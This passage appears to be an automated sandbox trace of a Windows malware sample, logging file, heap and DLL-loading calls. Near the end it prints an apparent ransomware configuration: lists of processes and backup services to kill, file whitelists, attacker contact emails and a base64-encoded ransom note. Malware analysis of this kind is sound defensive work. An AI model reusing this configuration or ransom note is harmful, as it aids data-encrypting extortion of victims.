users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\92__connections_cellular_3 (denmark)_i2$(__mvid)@wap.provxml")) returned 0x20 [0183.318] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.318] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\92__connections_cellular_3 (denmark)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.318] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.318] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96ca8) returned 1 [0183.318] RtlExitUserThread (Status=0x0) Thread: id = 3366 os_tid = 0xdf4 [0183.319] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\93__connections_cellular_3 (denmark)_i3$(__mvid)@wap.provxml")) returned 0x20 [0183.320] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.320] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\93__connections_cellular_3 (denmark)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.320] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.320] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8d3b0) returned 1 [0183.320] RtlExitUserThread (Status=0x0) Thread: id = 3367 os_tid = 0xdf8 [0183.321] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\94__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0183.321] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0183.321] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\94__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.321] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0183.322] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe16f0) returned 1 [0183.322] RtlExitUserThread (Status=0x0) Thread: id = 3368 os_tid = 0xf94 [0183.323] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\95__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0183.323] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0183.323] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\95__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.323] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0183.323] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054488) returned 1 [0183.323] RtlExitUserThread (Status=0x0) Thread: id = 3369 os_tid = 0xe44 [0183.324] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\96__connections_cellular_orange (denmark)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.325] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.325] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\96__connections_cellular_orange (denmark)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.325] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.325] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f021d0) returned 1 [0183.325] RtlExitUserThread (Status=0x0) Thread: id = 3370 os_tid = 0xe50 [0183.326] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\97__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0183.327] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0183.327] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\97__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.327] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0183.327] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30545c0) returned 1 [0183.327] RtlExitUserThread (Status=0x0) Thread: id = 3371 os_tid = 0xe54 [0183.328] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\98__connections_cellular_tdc denmark (denmark)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.328] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.329] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\98__connections_cellular_tdc denmark (denmark)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.329] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.329] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1848) returned 1 [0183.329] RtlExitUserThread (Status=0x0) Thread: id = 3372 os_tid = 0xd30 [0183.330] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\99__connections_cellular_telenor denmark (denmark)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.330] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.330] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\99__connections_cellular_telenor denmark (denmark)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.330] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.330] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056bd0) returned 1 [0183.330] RtlExitUserThread (Status=0x0) Thread: id = 3373 os_tid = 0x128c [0183.331] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\9__connections_cellular_optus (australia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.332] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.332] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\9__connections_cellular_optus (australia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.332] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.332] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f01cb0) returned 1 [0183.332] RtlExitUserThread (Status=0x0) Thread: id = 3377 os_tid = 0xe88 Thread: id = 3378 os_tid = 0xe90 Process: id = "8" image_name = "explorer.exe" filename = "c:\\windows\\syswow64\\explorer.exe" page_root = "0x27268000" os_pid = "0xdbc" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xd94" cmd_line = "\"C:\\WINDOWS\\system32\\explorer.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000124b1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1465 os_tid = 0xdc0 [0163.865] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x200) returned 0x33bb180 [0165.118] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x6) returned 0x33c67e0 [0165.118] RtlInitAnsiString (in: DestinationString=0x327f804, SourceString="NTDLL" | out: DestinationString="NTDLL") [0165.118] RtlAnsiStringToUnicodeString (in: DestinationString=0x327f80c, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0165.118] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1ac8 [0165.118] RtlFreeAnsiString (AnsiString="N") [0165.118] RtlInitUnicodeString (in: DestinationString=0x327f810, SourceString="NTDLL" | out: DestinationString="NTDLL") [0165.118] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x327f81c | out: BaseAddress=0x327f81c*=0x775b0000) returned 0x0 [0165.120] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1ac8) returned 1 [0165.120] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c67e0) returned 1 [0165.797] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x6) returned 0x33c6790 [0165.797] RtlInitAnsiString (in: DestinationString=0x327f804, SourceString="NTDLL" | out: DestinationString="NTDLL") [0165.797] RtlAnsiStringToUnicodeString (in: DestinationString=0x327f80c, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0165.797] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1c48 [0165.797] RtlFreeAnsiString (AnsiString="N") [0165.797] RtlInitUnicodeString (in: DestinationString=0x327f810, SourceString="NTDLL" | out: DestinationString="NTDLL") [0165.797] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x327f81c | out: BaseAddress=0x327f81c*=0x775b0000) returned 0x0 [0165.798] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1c48) returned 1 [0165.798] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c6790) returned 1 [0165.799] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x6) returned 0x33c6790 [0165.799] RtlInitAnsiString (in: DestinationString=0x327f804, SourceString="NTDLL" | out: DestinationString="NTDLL") [0165.799] RtlAnsiStringToUnicodeString (in: DestinationString=0x327f80c, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0165.799] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1b88 [0165.799] RtlFreeAnsiString (AnsiString="N") [0165.799] RtlInitUnicodeString (in: DestinationString=0x327f810, SourceString="NTDLL" | out: DestinationString="NTDLL") [0165.799] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x327f81c | out: BaseAddress=0x327f81c*=0x775b0000) returned 0x0 [0165.799] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1b88) returned 1 [0165.800] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c6790) returned 1 [0165.801] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x6) returned 0x33c6790 [0165.801] RtlInitAnsiString (in: DestinationString=0x327f804, SourceString="NTDLL" | out: DestinationString="NTDLL") [0165.801] RtlAnsiStringToUnicodeString (in: DestinationString=0x327f80c, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0165.801] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1d08 [0165.801] RtlFreeAnsiString (AnsiString="N") [0165.801] RtlInitUnicodeString (in: DestinationString=0x327f810, SourceString="NTDLL" | out: DestinationString="NTDLL") [0165.801] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x327f81c | out: BaseAddress=0x327f81c*=0x775b0000) returned 0x0 [0165.802] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1d08) returned 1 [0165.802] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c6790) returned 1 [0165.810] RtlInitUnicodeString (in: DestinationString=0x327f87c, SourceString="mpr.dll" | out: DestinationString="mpr.dll") [0165.810] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="mpr.dll", BaseAddress=0x327f888 | out: BaseAddress=0x327f888*=0x73580000) returned 0x0 [0165.819] FindResourceA (hModule=0x3290000, lpName=0x7a69, lpType=0x539) returned 0x32a5048 [0165.819] LoadResource (hModule=0x3290000, hResInfo=0x32a5048) returned 0x32a5058 [0165.819] LockResource (hResData=0x32a5058) returned 0x32a5058 [0165.819] SizeofResource (hModule=0x3290000, hResInfo=0x32a5048) returned 0xd8a [0165.819] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd8a) returned 0x33ce5d8 [0165.819] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x5) returned 0x33c6790 [0165.821] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x100) returned 0x33bbf50 [0165.821] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x100) returned 0x33b9c28 [0165.821] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33b9c28) returned 1 [0165.821] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33bbf50) returned 1 [0165.821] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c7090 [0165.822] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x4) returned 0x33c66b0 [0165.822] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c70d0 [0165.822] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x4) returned 0x33c67b0 [0165.822] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c7150 [0165.822] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c67b0, Size=0x8) returned 0x33c67e0 [0165.822] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c70f0 [0165.822] strtol (in: _Str="0,\"spsz\":16534,\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIH